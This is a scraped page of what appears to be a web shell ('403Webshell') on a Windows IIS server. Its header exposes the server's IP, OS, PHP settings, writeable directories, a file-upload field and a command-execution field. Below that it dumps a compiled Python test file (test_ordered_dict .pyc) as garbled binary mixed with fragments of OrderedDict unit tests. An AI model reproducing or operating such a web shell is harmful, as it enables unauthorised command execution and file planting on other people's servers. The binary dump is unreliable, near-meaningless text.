403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.220
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_ordered_dict.cpython-313.pyc
�

��i���	���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJrJ	r	 SSK
r
SSKrSSKrSSK
r
SSKJr SSKJrJr SSKJrJr \R,"SS/S9r\R,"SS/S	9r\R2S
5r"SS5r"S
S5r"SS\\R:5r"SS\R:5rSRA5Hr!\""\\!\#"\\!55 M C!"SS5r$\RJ"\S5"SS\\$\R:55r&"SS\5r'"SS\&5r("SS\R:5r)\RJ"\S5"SS \R:55r*"S!S"\RV5r,\RJ"\S5"S#S$\RV55r-"S%S&\RV5r.\RJ"\S5"S'S(\RV55r/"S)S*5r0"S+S,5r1"S-S.\1\R:5r2\RJ"\S5"S/S0\1\R:55r3\4S1:Xa\Rj"5 gg)2�N)�	randrange�shuffle)�MutableMapping)�
mapping_tests�support)�
import_helper�suppress_immortalization�collections�_collections)�blocked)�freshc#�# �[RUnU[RU'Sv� U[RU'g!U[RU'f=f7f�N)�sys�modules)�name�replacement�original_modules   �+C:\Python313\\Lib\test\test_ordered_dict.py�replaced_modulersE����k�k�$�'�O�#�C�K�K���,�
�+����D���O����D��s�'A�A�A�A�Ac�l�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!S r"S!r#S"r$S#r%S$r&S%r'S&r(S'r)S(r*S)r+S*r,S+r-S,r.S-r/S.r0\1"5S/5r2S0r3S1r4\5RlS25r7S3r8g4)5�OrderedDictTests�"c� �URnUR[5 U"SS/S5 SSS5 /SQnUR[	U"[U55R
55U5 UR[	U"S
0[U5D6R
55U5 UR[U"U5R
55U5 UR[U"/SQSSS9R
55U5 UR[U"SS	9R
55S
/5 UR[U"SS9R
55S/5 UR[US5 UR[US
S
5 UR[UR5 U"/SQ5nURSS/SSS9 UR[UR
55/SQ5 g!,(df   GN�=f)N��a���b��rr��c���d���e��rr)r#�	r%r$r*�r#r)�*��self)r0r.��other)r2r.��rrr")r&�,)r)�7r(��f��r'��gr&�rrr"r%r(r7)r<r:)	�OrderedDict�assertRaises�	TypeError�assertEqual�sorted�dict�items�list�__init__)r0r>�pairsr&s    r�	test_init�OrderedDictTests.test_init$s����&�&��
�
�
�y�
)���8�,�d�3�*�B�������D��K� 8� >� >� @�A�5�I������ :�d�5�k� :� @� @� B�C�U�K�����k�%�0�6�6�8�9�5�A�����k�*R�,-��4�49�E�G�=�>C�	E�	
����k�r�2�8�8�:�;�l�^�L�����k��3�9�9�;�<�}�o�N����)�[�"�5����)�[�"�b�9����)�[�%9�%9�:�
�L�M��	�
�
�H�h�'�1��
�2�����a�g�g�i��R�	T�'*�
)�s�G>�>
H
c��URn/SQn[U5 U"U5nU"S0UD6nUR[UR	55U5 g)Nr=r3)r>rrArErD)r0r>rD�argdictr&s     r�test_468�OrderedDictTests.test_468<sJ���&�&��V������e�$���"�'�"������a�g�g�i��%�0�c���URnUR[5 U"5RSS/S5 SSS5 /SQnU"5nUR[	U55 UR[
UR55U5 U"5nUR"S0[	U5D6 UR[
UR55U5 U"5nURU5 UR[UR55U5 U"5nUR/SQSSS9 UR[UR55U5 U"5nURSS	9 UR[UR55S
/5 U"5nUR0S9 UR[UR55S04/5 U"5nURSS
SSS9 UR[
[UR555/SQ5 U"/SQ5nURSS/SSS9 UR[UR55/SQ5 UR[U"5RS5 UR[U"5RSS5 UR[UR5 UR[U"5RS5 UR[U"5RSS5 UR[UR5 g!,(df   GN=f)Nrrr!r+r$r*r-�r/)r0rPr1r2r9r:�)�red�bluer2r0))rSr9)r2r:)rRr*)r0rQr4r(r7r'r;r=r.r3)	r>r?r@�updaterCrArBrDrE)r0r>rG�odr&s     r�test_update�OrderedDictTests.test_updateDs����&�&��
�
�
�y�
)��M� � �(�H�!5�t�<�*�B��
�]��
�	�	�$�u�+���������
�+�U�3�
�]��
�	�	� �D��K� ��������
�+�U�3�
�]��
�	�	�%������b�h�h�j�)�5�1�
�]��
�	�	�:�a�1�	�E�����b�h�h�j�)�5�1��]��
�	�	�r�	������b�h�h�j�)�L�>�:�
�]��
�	�	��	������b�h�h�j�)�W�b�M�?�;�
�]��
�	�	�a�a�q�q�	�1������R�X�X�Z� 0�1�M�	O�

�L�M��	���(�H�%��a��0�����a�g�g�i��R�	T�	
���)�[�]�%9�%9�2�>����)�[�]�%9�%9�2�r�B����)�[�%7�%7�8����)�[�]�%9�%9�2�>����)�[�]�%9�%9�2�r�B����)�[�%7�%7�8�U*�
)�s�M�
M"c�v^�/m"U4SjS5nURU"55 URTS/5 g)Nc�.>�\rSrSrU4SjrU4SjrSrg)�.OrderedDictTests.test_init_calls.<locals>.Spam�tc�(>�TRS5 g)N�keysr3��append�r0�callss �rr]�3OrderedDictTests.test_init_calls.<locals>.Spam.keysus������V�$�rNc�(>�TRS5 g)NrDr3r^r`s �rrD�4OrderedDictTests.test_init_calls.<locals>.Spam.itemsxs������W�%�rNr3N)�__name__�
__module__�__qualname__�__firstlineno__r]rD�__static_attributes__)ras�r�SpamrZts���
�
�
rNrjr])r>rA)r0rjras  @r�test_init_calls� OrderedDictTests.test_init_callsrs6�����	�	�	
����� �������)rNc�J�URn"SSU5nU"5nSUS'g)Nc��\rSrSrSrSrg)�3OrderedDictTests.test_overridden_init.<locals>.ODNI�c��grr3)�args�kwargss  rrF�<OrderedDictTests.test_overridden_init.<locals>.ODNI.__init__�s��rNr3N)rerfrgrhrFrir3rNr�ODNIro�s��
rNrurr�r>)r0r>rurUs    r�test_overridden_init�%OrderedDictTests.test_overridden_inits-���&�&��	�;�	��V����3�rNc��URnURS5nUR[UR	55SVs/sHo3S4PM sn5 URSSS9nUR[UR	55SVs/sHo3S4PM sn5 URSSS9nUR[UR	55SVs/sHo3S4PM sn5 gs snfs snfs snf)N�abc��valuer)r>�fromkeysrArErD)r0r>rUr#s    r�
test_fromkeys�OrderedDictTests.test_fromkeys�s����&�&��
�
!�
!�%�
(������b�h�h�j�)�u�+E�u�!��I�u�+E�F�
�
!�
!�%�t�
!�
4������b�h�h�j�)�u�+E�u�!��I�u�+E�F�
�
!�
!�%�q�
!�
1������b�h�h�j�)�E�+B�E�q��F�E�+B�C��	,F��+E��+Bs�
C0
�
C5
�
C:
c��URnURU"5[5 UR[	U[55 gr)r>�assertIsInstancer�
assertTrue�
issubclass)r0r>s  r�test_abc�OrderedDictTests.test_abc�s2���&�&�����k�m�^�<����
�;��?�@rNc���URn/SQn[U5 U"U5nUR[U5[U55 UR	5 UR[U5S5 g�N�)r#rr)rr$r%r(r7r)r>rrA�len�clear�r0r>rGrUs    r�
test_clear�OrderedDictTests.test_clear�sX���&�&��L�����
��
������R��#�e�*�-�
���
�����R��!�$rNc�&�URn/SQnU"U5nUS	URSU5 UR[5 US	SSS5 UR	[UR
55USSUSS-5 g!,(df   NA=f)Nr�rr r$)r>�assertNotInr?�KeyErrorrArErDr�s    r�test_delitem�OrderedDictTests.test_delitem�s����&�&��L��
��
���s�G�����b�!�
�
�
�x�
(��3��)�����b�h�h�j�)�5��!�9�u�Q�R�y�+@�A�)�
(�s�B�
Bc��URnU"/SQ5nSUS'SUS'UR[UR55/SQ5 g)N)�r&rrr"�rr'r(�
r#�r8)r�r)r#r�r�r()r8r��r>rArErD�r0r>rUs   r�test_setitem�OrderedDictTests.test_setitem�sI���&�&��
�K�
L����3����3������b�h�h�j�)�W�	YrNc�d�URn/SQn[U5 U"U5nUR[U5UVs/sHoDSPM	 sn5 UR[UR	55UVs/sHoDSPM	 sn5 UR[UR55UVs/sHoDSPM	 sn5 UR[UR
55U5 UR[[U55[U5Vs/sHoDSPM	 sn5 UR[[UR	555[U5Vs/sHoDSPM	 sn5 UR[[UR555[U5Vs/sHoDSPM	 sn5 UR[[UR
555[[U555 gs snfs snfs snfs snfs snfs snf)Nr�rr)r>rrArEr]�valuesrD�reversed�r0r>rGrU�ts     r�test_iterators�OrderedDictTests.test_iterators�s����&�&��L�����
��
������b��%�#8�%�Q�a�D�%�#8�9�����b�g�g�i���*?��A�Q�4��*?�@�����b�i�i�k�*�5�,A�5�a�q�T�5�,A�B�����b�h�h�j�)�5�1�����h�r�l�+�(0���8��1�A�$��8�	:�����h�r�w�w�y�1�2�(0���8��1�A�$��8�	:�����h�r�y�y�{�3�4�(0���8��1�A�$��8�	:�����h�r�x�x�z�2�3�T�(�5�/�5J�K��$9��*?��,A��9��8��8s#�H
�9H
�5H
�H#
�,H(
�:H-
c���URnURS5n[U5n[U5nX$	UR	[
5 [U5 SSS5 g!,(df   g=f)Nrz)r>r}�iter�nextr?�	Exception)r0r>rU�it�keys     r�%test_detect_deletion_during_iteration�6OrderedDictTests.test_detect_deletion_during_iteration�sW���&�&��
�
!�
!�%�
(��
�"�X���2�h���G�
�
�
�y�
)�
��H�*�
)�
)�s�A � 
A.c
��URnUR[5 U"SS/S5 SSS5 /SQnU"U5nUR[	U5UVs/sHoDSPM	 sn5 UR[	UR55UVs/sHoDSPM	 sn5 UR[	UR
55UVs/sHoDSPM	 sn5 UR[	UR55U5 UR[	[U55[	[U5Vs/sHoDSPM	 sn55 g!,(df   GN4=fs snfs snfs snfs snf)Nrrr!rr)	r>r?r@rArBr]r�rDr�r�s     r�test_sorted_iterators�&OrderedDictTests.test_sorted_iterators�s&���&�&��
�
�
�y�
)���8�,�d�3�*�B��
��
��������E�%:�E�q��d�E�%:�;��������	�*�5�,A�5�a�q�T�5�,A�B������	�	��,�U�.C�U���t�U�.C�D��������
�+�U�3��������-��x��� ?��!�1��� ?�@�	B�*�
)��&;��,A��.C��!@s#�E�E-
�E2
�E7
�E<�
E*c���URnU"5n/nUR[U5U5 UR[UR55U5 UR[UR	55U5 UR[UR55U5 UR[[
U55U5 UR[[
UR555U5 UR[[
UR	555U5 UR[[
UR555U5 gr)r>rArEr]r�rDr�)r0r>rU�emptys    r�test_iterators_empty�%OrderedDictTests.test_iterators_empty�s����&�&��
�]��������b��5�)�����b�g�g�i��%�0�����b�i�i�k�*�E�2�����b�h�h�j�)�5�1�����h�r�l�+�U�3�����h�r�w�w�y�1�2�E�:�����h�r�y�y�{�3�4�e�<�����h�r�x�x�z�2�3�U�;rNc�z�URn/SQn[U5 U"U5nU(a7URUR5UR	55 U(aM7UR[5 UR5 SSS5 UR[U5S5 g!,(df   N*=fr�)r>rrA�popitem�popr?r�r�r�s    r�test_popitem�OrderedDictTests.test_popitem�s����&�&��L�����
��
������R�Z�Z�\�5�9�9�;�7��e�
�
�
�x�
(��J�J�L�)�����R��!�$�)�
(�s�7B,�,
B:c�*�URn[S5Vs/sHo"U4PM nnU"U5n[S5HnURS5 M URS5 URSS9 UR[	U5S5 gs snf)N�rQT��lastr�)r>�ranger�rAr�)r0r>�irG�objs     r�test_popitem_last�"OrderedDictTests.test_popitem_last�s~���&�&��!&�r��+��A�Q����+��%� ���q��A��K�K�������D������������S��2�&��,s�
Bc��URn/SQn[U5 U"U5n[U5 U(a<UR5upEURURU5U5 U(aM<UR	[
5 URS5 SSS5 UR[
U5S5 URURWS5S5 "SSU5nU"SS9nURURS	S
5S
5 URURSS5S5 URURSS5S5 URURSSS
9S5 UR	[
5 URS5 SSS5 g!,(df   GN=f!,(df   g=f)Nr��xyzri90c��\rSrSrSrSrg)�*OrderedDictTests.test_pop.<locals>.Missingic��g�Nrr3�r0r�s  r�__missing__�6OrderedDictTests.test_pop.<locals>.Missing.__missing__���rNr3N�rerfrgrhr�rir3rNr�Missingr����
rNr�r�rrr*rr9��default)r>rr�rAr?r�r�)r0r>rGrU�k�vr��ms        r�test_pop�OrderedDictTests.test_pop�s]���&�&��L�����
��
�������9�9�;�D�A����R�V�V�A�Y��*��e��
�
�x�
(��F�F�5�M�)�����R��!�$��������5�)�5�1�	�k�	�
�a�L��������s�A���*�������s�A���*�������s�A���*�������s�A��.��2�
�
�
�x�
(�
�E�E�#�J�)�
(�)�
(��)�
(�s�F%�
F7�%
F4�7
Gc�d�URn/SQn[U5 U"U5nU"U5nURX45 USSUSS-nU"U5nURX45 URU[	U55 UR[	U5U5 URX1"USS55 g)Nr�r ���)r>rrA�assertNotEqualrC)r0r>rG�od1�od2s     r�
test_equality�OrderedDictTests.test_equalitys����&�&��L������%� ���%� ������"��a�b�	�E�"�1�I�%���%� �����C�%�����d�3�i�(�����c��C�(����C��U�3�B�Z�!8�9rNc	�^^�TRn/SQnU"U5mS/TlS/TlUU4SjnU"TR55 [R"T5nU"U5 TR	URTR5 TR	URTR5 TR[
US55 [R"T5nU"U5 TRURTR5 TRURTR5 TRURTR5 TRURTR5 TR[
US55 [STR5 [[RS-5H�nTRUS9 [R "[R""TU55nU"U5 TRURTR5 TRURTR5 TR[
US55 SSS5 M� SSS5 U"[%['T555 U"5nUR)T5 U"U5 U"U"T55 g!,(df   GM=f!,(df   Nj=f)	Nr��x�zc�t>�SU<ST<3nTRUTU5 TRUT5 TR[UR55[TR555 TR[	U5[	T55 TR[U5[T55 g)Nz
copy: z
od: )�assertIsNotrArErDr��type)�dup�msgrUr0s  ��r�check�,OrderedDictTests.test_copying.<locals>.check1s����*-�r�2�C����S�"�c�*����S�"�%����T�#�)�)�+�.��R�X�X�Z�0@�A����S��X�s�2�w�/����T�#�Y��R��1rN�yr
r)�proto)r>r�r��copy�assertIs�assertFalse�hasattr�deepcopyrAr�r�moduler��pickle�HIGHEST_PROTOCOL�subTest�loads�dumps�eval�reprrT)r0r>rGr�r�r��update_testrUs`      @r�test_copying�OrderedDictTests.test_copying)s����&�&��M��
��
���u����u���	2�	�b�g�g�i���i�i��m��
�c�
��
�
�c�e�e�R�T�T�"��
�
�c�e�e�R�T�T�"������c�*�+��m�m�B���
�c�
����������%����������%����������%����������%������c�*�+�
�]�D�K�K�
8��v�6�6��:�;���\�\��\�.� �,�,�v�|�|�B��'>�?�C��#�J��$�$�S�U�U�B�D�D�1��$�$�S�U�U�B�D�D�1��$�$�W�S�#�%6�7�/�.�<�9�	�d�4��8�n��!�m�����2��
�k��
�k�"�o��/�.��9�
8�s%�4/K.�#BK�>K.�
K+�%	K.�.
K<c��URn/SQnU"U5nUR[SUR5S555 g)Nr�c3�F# �UHn[U5[:Hv� M g7fr)r�rE)�.0�pairs  r�	<genexpr>�5OrderedDictTests.test_yaml_linkage.<locals>.<genexpr>\s���L�9K��D��J��,�9K�s�!r)r>r��all�
__reduce__r�s    r�test_yaml_linkage�"OrderedDictTests.test_yaml_linkageTsC���&�&��M��
��
��	
����L������9K�L�L�MrNc�N�URn/SQnU"U5nURUR[5 UR	UR5S5 SUlURURSS5 URUR5SSS05 g)Nr�r r�r�)r>r��__dict__rC�assertIsNoner�r�rAr�s    r�test_reduce_not_too_fat�(OrderedDictTests.test_reduce_not_too_fat^s����&�&��L��
��
�����b�k�k�4�0����"�-�-�/�!�,�-����������S�)�2�.���������+�c�2�Y�7rNc���URnU"5nX"S'[SUR5 [S[R
S-5H}n[R"[R"X#55nURXB5 UR[UR55S/5 URUSU5 M SSS5 g!,(df   g=f)Nrr
r�)
r>rr�r�r�r�r�r�r�rArEr]r�)r0r>rUr�r�s     r�test_pickle_recursive�&OrderedDictTests.test_pickle_recursiveis����&�&��
�]���1���]�D�K�K�
8��r�6�#:�#:�Q�#>�?���l�l�6�<�<��#:�;��� � ��)�� � ��c�h�h�j�!1�A�3�7��
�
�c�!�f�c�*�	@�9�
8�
8�s�BC�
C$c���URnU"/SQ5nUR[U5S5 UR[[U55U5 UR[U"55S5 g)Nr�z=OrderedDict({'c': 1, 'b': 2, 'a': 3, 'd': 4, 'e': 5, 'f': 6})z
OrderedDict())r>rAr�r�r�s   r�	test_repr�OrderedDictTests.test_reprvs_���&�&��
�U�
V������b��K�	M�����d�2�h���,�����k�m�,�o�>rNc�|�URnURS5nX"S'UR[U5S5 g)Nrzr�z8OrderedDict({'a': None, 'b': None, 'c': None, 'x': ...}))r>r}rAr�r�s   r�test_repr_recursive�$OrderedDictTests.test_repr_recursive~s<���&�&��
�
!�
!�%�
(���3������b��F�	HrNc��URnU"5nUR5US'[U5nURU[5 UR5US'[U5nURU[5 g)Nr.)r>r�r�r��strrD)r0r>rU�rs    r�test_repr_recursive_values�+OrderedDictTests.test_repr_recursive_values�sf���&�&��
�]�������2����H��	
���a��%������2����H�����a��%rNc�R�URn/SQn[U5 U"U5n[UR55nUR	URSS5S5 UR	[UR55U5 UR	URSS5S5 UR	[UR55SS5 UR	URSS	S
9S	5 "SSU5nUR	U"5RS
S	5S	5 g)Nr�rr�r$r�r�)r�r�r<r,r�c��\rSrSrSrSrg)�1OrderedDictTests.test_setdefault.<locals>.Missingi�c��gr�r3r�s  rr��=OrderedDictTests.test_setdefault.<locals>.Missing.__missing__�r�rNr3Nr�r3rNrr�r�r�rNr�r*)r>rrErDrA�
setdefault)r0r>rGrU�
pair_orderr�s      r�test_setdefault� OrderedDictTests.test_setdefault�s����&�&��L�����
��
���"�(�(�*�%�
�������s�B�/��3�����b�h�h�j�)�:�6�������s�B�/��4�����b�h�h�j�)�"�-�y�9�������s�A��6��:�	�k�	�	
�����-�-�a��3�Q�7rNc��URnU"5nSUS'SUS'US	UR[UR55S/5 SUS'UR[UR55SS/5 g)Nrrr rrrr�r�s   r�
test_reinsert�OrderedDictTests.test_reinsert�su���&�&���]����3����3���s�G�����b�h�h�j�)�H�:�6���3������b�h�h�j�)�H�h�+?�@rNc��URnURS5nUR[U5[S55 UR	S5 UR[U5[S55 UR	SS5 UR[U5[S55 UR	SS5 UR[U5[S55 UR	S5 UR[U5[S55 UR	SSS9 UR[U5[S	55 UR[5 UR	S
5 SSS5 UR[5 UR	S
S5 SSS5 g!,(df   N?=f!,(df   g=f)N�abcder#�abdecF�cabder)rr��bcader�)r>r}rArE�move_to_endr?r�r�s   r�test_move_to_end�!OrderedDictTests.test_move_to_end�sD���&�&��
�
!�
!�'�
*������b��4��=�1�
���s������b��4��=�1�
���s�E�"�����b��4��=�1�
���s�E�"�����b��4��=�1�
���s������b��4��=�1�
���s���'�����b��4��=�1�
�
�
�x�
(��N�N�3��)�
�
�
�x�
(��N�N�3��&�)�
(�)�
(��
(�
(�s�!F,�F=�,
F:�=
Gc��URnURS5nURSSS9 UR[	U5[	S55 URSSS9 UR[	U5[	S55 URS5nURS5 UR[	U5[	S55 URS5 UR[	U5[	S	55 g)
Nrzr#Fr��cabr�acb�bca�bac)r>r}r&rArEr�s   r�test_move_to_end_issue25406�,OrderedDictTests.test_move_to_end_issue25406�s����&�&��
�
!�
!�%�
(��
���s���'�����b��4��;�/�
���s���'�����b��4��;�/�
�
!�
!�%�
(��
���s������b��4��;�/�
���s������b��4��;�/rNc��URn[SS9nU"S0UD6nUR[R"U5[R"U55 g)Nrr�r3)r>rC�
assertGreaterr�	getsizeof)r0r>r&rUs    r�test_sizeof�OrderedDictTests.test_sizeof�sE���&�&���1�I��
�
�1�
�����3�=�=��,�c�m�m�A�.>�?rNc�:�URnSR5nURU5nURUR	5[U5R	55 URUR
5[U5R
55 g)Nz@the quick brown fox jumped over a lazy dog yesterday before dawn)r>�splitr}rAr]rCrD)r0r>�srUs    r�
test_views�OrderedDictTests.test_views�sl���&�&��N�T�T�V��
�
!�
!�!�
$���������D��H�M�M�O�4��������T�"�X�^�^�%5�6rNc��URn"SSU5n/SQnUR[U"U5R55U5 g)Nc��\rSrSrSrSrg)�3OrderedDictTests.test_override_update.<locals>.MyODi�c��[5er)r�)r0rr�kwdss   rrT�:OrderedDictTests.test_override_update.<locals>.MyOD.update�s
���k�!rNr3N)rerfrgrhrTrir3rNr�MyODr<�s��
"rNr@)rr"rr�)r0r>r@rDs    r�test_override_update�%OrderedDictTests.test_override_update�sB���&�&��	"�;�	"�/������d�5�k�/�/�1�2�E�:rNc��URnSn[S5HnU"SU4/5nM A[R"5 g)Ni�)r>r�r�
gc_collect)r0r>r��_s    r�test_highly_nested�#OrderedDictTests.test_highly_nested�sA���&�&�����t��A���c�{�m�,�C������rNc
�^�URn/m"U4SjSU5nSn[S5HnU"SU4/5nXClM A[R"5 URT[
[[S5555 g)Nc�">�\rSrSrU4SjrSrg)�:OrderedDictTests.test_highly_nested_subclass.<locals>.MyODi�c�<>�TRUR5 gr)r_r�)r0�deleteds �r�__del__�BOrderedDictTests.test_highly_nested_subclass.<locals>.MyOD.__del__�s������t�v�v�&rNr3N)rerfrgrhrMri)rLs�rr@rJ�s
���
'�
'rNr@�d)r>r�r�rrDrArEr�)r0r>r@r�r�rLs     @r�test_highly_nested_subclass�,OrderedDictTests.test_highly_nested_subclass�sz����&�&����	'�;�	'����s��A���s��}�%�C��E��
���������$�x��c�
�';�"<�=rNc��URn"SS5nSnSnU"U5nU"U5nU"U"U55nU"5nSX�'SX�'SX�'SUS'X�	X�	UR[UR55US4S/5 g)Nc�,�\rSrSrSrSrSrSrSrg)�9OrderedDictTests.test_delitem_hash_collision.<locals>.Keyic�B�Xl[[U55Ulgr)�_hashr�idr|)r0�hashs  rrF�BOrderedDictTests.test_delitem_hash_collision.<locals>.Key.__init__
s��!�
� ��D��]��
rNc��UR$r)rVr/s r�__hash__�BOrderedDictTests.test_delitem_hash_collision.<locals>.Key.__hash__����z�z�!rNc�V�URUR:H$![a gf=f)NF)r|�AttributeError�r0r2s  r�__eq__�@OrderedDictTests.test_delitem_hash_collision.<locals>.Key.__eq__s,��!��:�:����4�4��%�!� �!�s��
(�(c��UR$rr{r/s r�__repr__�BOrderedDictTests.test_delitem_hash_collision.<locals>.Key.__repr__r]rN)rVr|N)	rerfrgrhrFr[rardrir3rNr�KeyrTs��
+�
"�
!�

"rNrfc�0�SnXS-
-nUS-U-U-S-$)NrQrr r3)rX�MINSIZEr�s   r�
blocking_hash�COrderedDictTests.test_delitem_hash_collision.<locals>.blocking_hashs+���G���	�!�A���F�a�<�$�&��*�*rNr.�after)rk.r�)	r0r>rfri�	COLLIDINGr��	colliding�blockingrUs	         r�test_delitem_hash_collision�,OrderedDictTests.test_delitem_hash_collision	s����&�&��	"�	"�	+��	��)�n���	�N�	��}�Y�/�0��
�]����������
���7���L��M�����b�h�h�j�)�S�#�J��+G�HrNc��URn"SS5nU"5n[S5HnU"5nXCU'M UR[5 [	UR55 SSS5 UR[5 [	UR
55 SSS5 UR[5 [U5 SSS5 UR[5 UR5 SSS5 g!,(df   N�=f!,(df   Nw=f!,(df   N_=f!,(df   g=f)Nc��\rSrSrSrSrg)�-OrderedDictTests.test_issue24347.<locals>.Keyi3c��[S5$)Ni��)rr/s rr[�6OrderedDictTests.test_issue24347.<locals>.Key.__hash__4s
�� ��(�(rNr3N�rerfrgrhr[rir3rNrrfrs3s��
)rNrfrO)	r>r�r?r�rEr�rDr�r�)r0r>rfrUr�r�s      r�test_issue24347� OrderedDictTests.test_issue243470s����&�&��	)�	)��]���s��A��%�C��s�G��
�
�
�x�
(�������)�
�
�
�x�
(�������)�
�
�
�x�
(���H�)�
�
�
�x�
(��G�G�I�)�
(�
)�
(��
(�
(��
(�
(��
(�
(�s0�D�D�>D#�'D4�
D�
D �#
D1�4
Ec�p�URn"SS5nU"5nSX2"5'UR5 g)Nc��\rSrSrSrSrg)�-OrderedDictTests.test_issue24348.<locals>.KeyiIc��g)Nrr3r/s rr[�6OrderedDictTests.test_issue24348.<locals>.Key.__hash__Jr�rNr3Nrvr3rNrrfr{Ir�rNrfr)r>r�)r0r>rfrUs    r�test_issue24348� OrderedDictTests.test_issue24348Fs4���&�&��	�	��]����3�5�	�
�
�
�rNc��URnU"5nSH2nSH)n[U5S:XaURSS9 X4-nXRU'M+ M4 g)a7
dict resizes after a certain number of insertion operations,
whether or not there were deletions that freed up slots in the
hash table.  During fast node lookup, OrderedDict must correctly
respond to all resizes, even if the current "size" is the same
as the old one.  We verify that here by forcing a dict resize
on a sparse odict and then perform an operation that should
trigger an odict resize (e.g. popitem).  One key aspect here is
that we will keep the size of the odict the same at each popitem
call.  This verifies that we handled the dict resize properly.
�0123456789ABCDEFr'Fr�N)r>r�r�)r0r>rU�c0�c1r�s      r�test_issue24667� OrderedDictTests.test_issue24667RsQ���&�&��
�]��$�B�(���r�7�a�<��J�J�E�J�*��g���3��)�%rNc��URnU"5n[RUSS5 URS[	U55 g�N�spamr�NULL)r>rC�__setitem__r�r�r�s   r�test_dict_setitem�"OrderedDictTests.test_dict_setitemks:���&�&��
�]������V�Q�'������b��*rNc���URnU"5nSUS'SUS'[RUS5 UR[5 [U5 SSS5 g!,(df   g=f�Nrr�r �ham)r>rC�__delitem__r?r�r�r�s   r�test_dict_delitem�"OrderedDictTests.test_dict_delitemqsW���&�&��
�]����6�
���5�	�����V�$�
�
�
�x�
(���H�)�
(�
(���	A�
A,c��URnU"5nSUS'SUS'[RU5 URS[	U55 g)Nrr�r r�r�)r>rCr�r�r�r�s   r�test_dict_clear� OrderedDictTests.test_dict_clearzsE���&�&��
�]����6�
���5�	��
�
�2�������b��*rNc���URnU"5nSUS'SUS'[RUS5 UR[5 [U5 SSS5 g!,(df   g=fr�)r>rCr�r?r�r�r�s   r�
test_dict_pop�OrderedDictTests.test_dict_pop�sU���&�&��
�]����6�
���5�	�����V��
�
�
�x�
(���H�)�
(�
(�r�c���URnU"5nSUS'SUS'[RU5 UR[5 [U5 SSS5 g!,(df   g=fr�)r>rCr�r?r�r�r�s   r�test_dict_popitem�"OrderedDictTests.test_dict_popitem�sS���&�&��
�]����6�
���5�	����R��
�
�
�x�
(���H�)�
(�
(�s�A�
A+c��URnU"5n[RUSS5 URS[	U55 gr�)r>rCrr�r�r�s   r�test_dict_setdefault�%OrderedDictTests.test_dict_setdefault�s8���&�&��
�]������F�A�&������b��*rNc��URnU"5n[RUS/5 URS[	U55 g)N)r�rr�)r>rCrTr�r�r�s   r�test_dict_update�!OrderedDictTests.test_dict_update�s8���&�&��
�]�����B��
�&������b��*rNc��^�URm"U4SjS5nSURU'[R"U5nA[R
"5 UR
U"55 g)Nc�&>�\rSrSrY"5rSrg)�/OrderedDictTests.test_reference_loop.<locals>.Ai�r3N)rerfrgrhrUrirvs�r�Ar��s
�����BrNr�)r>rU�weakref�ref�gc�collectr)r0r�rr>s   @r�test_reference_loop�$OrderedDictTests.test_reference_loop�sP����&�&��	�	�����Q���K�K��N��
�
�
�
�����!�#�rNc�"�[R"U[UR5 [R"USUR5 [R"USUR5 [R"USUR5 g)Nc�4�[UR55$r)r�r]�r&s r�<lambda>�<OrderedDictTests.test_free_after_iterating.<locals>.<lambda>�s��4�����>rNc�4�[UR55$r)r�r�r�s rr�r��s��4����
�;KrNc�4�[UR55$r)r�rDr�s rr�r��s��4����	�?rN)r�check_free_after_iteratingr�r>r/s r�test_free_after_iterating�*OrderedDictTests.test_free_after_iterating�se���*�*�4��t�7G�7G�H��*�*�4�1I�4�K[�K[�\��*�*�4�1K�T�M]�M]�^��*�*�4�1J�D�L\�L\�]rNc��URnU"SSSS.5nU"SSSS.5nUR5nUR5nXC-nU[UR55-nU"SSSSS.5nUR	U[U5-U5 UR	X#-U5 UR	XF5 UR	XV5 UR5nXB-nU"SSSSS.5nUR	[U5U-U5 UR	X2-U5 UR	XF5 UR
[X#-5U5 UR
[[U5U-5U5 UR
[U[U5-5U5 UR5nUS	-nUS
-nUR	X&5 UR[5 US- SSS5 UR[5 US	- SSS5 UR[5 US- SSS5 UR[5 US
- SSS5 UR[5 US-nSSS5 g!,(df   N�=f!,(df   N�=f!,(df   Nw=f!,(df   Ne=f!,(df   g=f)Nrr)rrr r r$)rr r$)rrr r$)rr r$rr3��BAD)r>r�rErDrArCr�r�r?r@�
ValueError)r0r>rrr#r&�expecteds       r�test_merge_operator�$OrderedDictTests.test_merge_operator�s7���&�&���A�!��*�+���A�!��*�+��
�F�F�H��
�F�F�H��	���	�T�!�'�'�)�_����1��q�Q�7�8������T�!�W��h�/�������)�����%�����%�
�F�F�H��	����1��q�Q�7�8������a��1��h�/�������)�����%��
�
�d�1�5�k�;�/��
�
�d�4��7�Q�;�'��5��
�
�d�1�t�A�w�;�'��5��6�6�8��	�R���	�R�������%�
�
�
�y�
)�
��H�*�
�
�
�y�
)�
��F�*�
�
�
�y�
)�
��I�*�
�
�
�y�
)�
��F�*�
�
�
�z�
*�
��J�A�+�
*�*�
)��
)�
)��
)�
)��
)�
)��
*�
*�s<�I0�8J�J�>J#�!J4�0
I>�
J�
J �#
J1�4
Kc���[URS/05R55n[R"5 UR[R"[U555 gr)r�r>rDr�r�r��
is_trackedr�)r0r�s  r�!test_ordered_dict_items_result_gc�2OrderedDictTests.test_ordered_dict_items_result_gc�sJ��
�$�"�"�D�"�:�.�4�4�6�
7��
�
�
��	
����
�
�d�2�h�/�0rNr3N)9rerfrgrhrHrLrVrkrwr~r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrr'r.r3r8rArFrProrwr~r�r�r�r�r�r�r�r�r	r�r�r�r�cpython_onlyr�rir3rNrrr"s/��T�01�,9�\*�	�D�A�
%�B�Y�L�"	�B�<�	%�	'��4:� )�VN�	8�+�?�H�&�8�(
A�'�&0�@�7�;�	�>�"%I�N�,
��2+��+���+�+���	� �	�^�)�V
